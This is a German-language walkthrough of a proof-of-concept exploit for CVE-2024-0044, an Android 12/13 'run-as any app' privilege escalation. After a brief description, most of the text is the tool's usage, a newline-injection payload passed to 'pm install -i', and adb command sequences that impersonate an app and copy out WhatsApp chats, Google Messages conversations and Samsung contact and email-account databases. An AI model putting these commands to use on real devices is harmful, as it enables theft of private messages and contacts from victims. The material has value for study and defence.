
CVE-2024-0044: eine „run-as any app"-Schwachstelle mit hohem Schweregrad, die Android-Versionen 12 und 13 betrifft
CVE-2024-0044, identifiziert in der Funktion createSessionInternal der Datei PackageInstallerService.java, ist eine Schwachstelle mit hohem Schweregrad, die Android-Versionen 12 und 13 betrifft. Diese Schwachstelle ermöglicht es einem Angreifer, einen „run-as any app“-Angriff durchzuführen, der zu einer lokalen Privilegienausweitung führt, ohne dass eine Benutzerinteraktion erforderlich ist. Das Problem entsteht aufgrund einer fehlerhaften Eingabevalidierung in der createSessionInternal-Funktion. Ein Angreifer kann dies ausnutzen, indem er den Sitzungserstellungsprozess manipuliert und möglicherweise unbefugten Zugriff auf sensible Daten erhält und unbefugte Aktionen auf dem betroffenen Gerät durchführt.
Der Exploit wurde von Meta security entdeckt.
Der Proof of Concept wurde von Tiny hack zusammengefasst und geteilt.
Details zum Sicherheitspatch finden Sie im Android security bulletin.
python3 cve_2024_0044.py -h
##########################################################################################
###############S%%#####################################################%%S################
###############%++*S##################################################?++?################
################%++*S###############################################S*++?#################
#################%+++%#############################################S*++%##################
##################S*++%###########################################%+++%###################
###################S*++?#########SSS%%?????***?????%%%SS#########%++*S####################
#####################?++*##S%%?**+++++++++++++++++++++++**??%S##?++*S#####################
######################?++**+++++++++++++++++++++++++++++++++++**++*#######################
###################S%?*++++++++++++++++++++++++++++++++++++++++++++?%S####################
#################%?+++++++++++++++++++++++++++++++++++++++++++++++++++*%S#################
##############S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++?S###############
############S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S#############
##########S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S###########
#########%+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++?##########
#######S*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S########
######%++++++++++++++*%SS%?+++++++++++++++++++++++++++++++++++?%SS%*++++++++++++++%#######
#####%++++++++++++++*######%+++++++++++++++++++++++++++++++++%######?++++++++++++++?######
####?+++++++++++++++*######S+++++++++++++++++++++++++++++++++%######?+++++++++++++++?#####
###%+++++++++++++++++*%SS%?+++++++++++++++++++++++++++++++++++?%SS%*+++++++++++++++++?####
##S+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++%###
##*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++S##
#%+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++?##
#*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++S#
S+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++%#
usage: cve_2024_0044.py [-h] -P P -A A
CVE-2024-0044: run-as any app @Pl4int3xt
options:
-h, --help show this help message and exit
-P P package name (default: None)
-A A apk file path (default: None)
-P wird verwendet, um den Zielpaketnamen anzugeben, als den Sie ausgeführt werden möchten.
-A gibt den Pfad der APK-Datei an, die auf das Gerät übertragen werden soll.
Führen Sie das Tool aus:
python3 cve_2024_0044.py -P com.whatsapp -A /home/pl4int3xt/Downloads/F-Droid.apk
Es wird eine Datei payload.txt wie diese erstellt:
PAYLOAD="@null
victim 10289 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
pm install -i "$PAYLOAD" /data/local/tmp/F-Droid.apk
pl4int3xt ~> adb shell
pixel:/ $ PAYLOAD="@null
> victim 10289 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
pixel:/ $ pm install -i "$PAYLOAD" /data/local/tmp/F-Droid.apk
Success
pixel:/ $ mkdir /data/local/tmp/wa/
pixel:/ $ touch /data/local/tmp/wa/wa.tar
pixel:/ $ chmod -R 0777 /data/local/tmp/wa/
pixel:/ $ run-as victim
pixel:/data/user/0 $ tar -cf /data/local/tmp/wa/wa.tar com.whatsapp
Erstellen Sie ein temporäres Verzeichnis: mkdir /data/local/tmp/wa/
Erstellen Sie einen Platzhalter für eine tar-Datei: touch /data/local/tmp/wa/wa.tar
Setzen Sie weit offene Berechtigungen: chmod -R 0777 /data/local/tmp/wa/, um sicherzustellen, dass jeder Benutzer in diesem Verzeichnis lesen, schreiben und ausführen kann.
Wechseln Sie den Benutzerkontext: run-as victim, um die gleichen Berechtigungen wie der „victim“-Benutzer zu erhalten.
Archivieren Sie die Daten der Zielanwendung: tar -cf /data/local/tmp/wa/wa.tar com.whatsapp, um ein Tarball des WhatsApp-Datenverzeichnisses zu erstellen.
adb pull /data/local/tmp/wa/wa.tar
Sie können die Daten mit 7z oder einem anderen Tool extrahieren.
Sie können Whatsapp chat exporter verwenden, um sie in HTML zu konvertieren.
Auf diese Weise können Sie WhatsApp-Daten ohne Root-Zugriff auf Ihrem Gerät abrufen.
Ändern Sie einfach den Paketnamen wie folgt:
plaintext@archlinux ~/D/c/p/cve_2024_0044 (feature)> python3 ./cve_2024_0044.py -P com.google.android.apps.messaging -A ~/Down
loads/F-Droid.apk
Folgen Sie den obigen Anweisungen. Nachdem Sie die Datei wa.tar abgerufen haben, entpacken Sie sie und öffnen Sie die Unterhaltungen in com.google.android.apps.messaging/databases/bugle_db mit sqlitebrowser oder einem anderen Tool.
Getestet für Samsung-Geräte. Überprüfen Sie bei anderen Geräten den Paketnamen des Kontakteanbieters.
plaintext@archlinux ~/D/c/p/cve_2024_0044 (feature)> python3 ./cve_2024_0044.py -P com.samsung.android.app.contacts -A ~/Downloads/F-Droid.apk
Folgen Sie den obigen Anweisungen. Nachdem Sie die Datei wa.tar abgerufen haben, entpacken Sie sie und öffnen Sie die Kontakte in com.samsung.android.providers.contacts/databases/contacts2.db mit sqlitebrowser oder einem anderen Tool. Die DB-Datei enthält alle Informationen zu den E-Mail-Konten des Benutzers zusammen mit der Kontaktliste.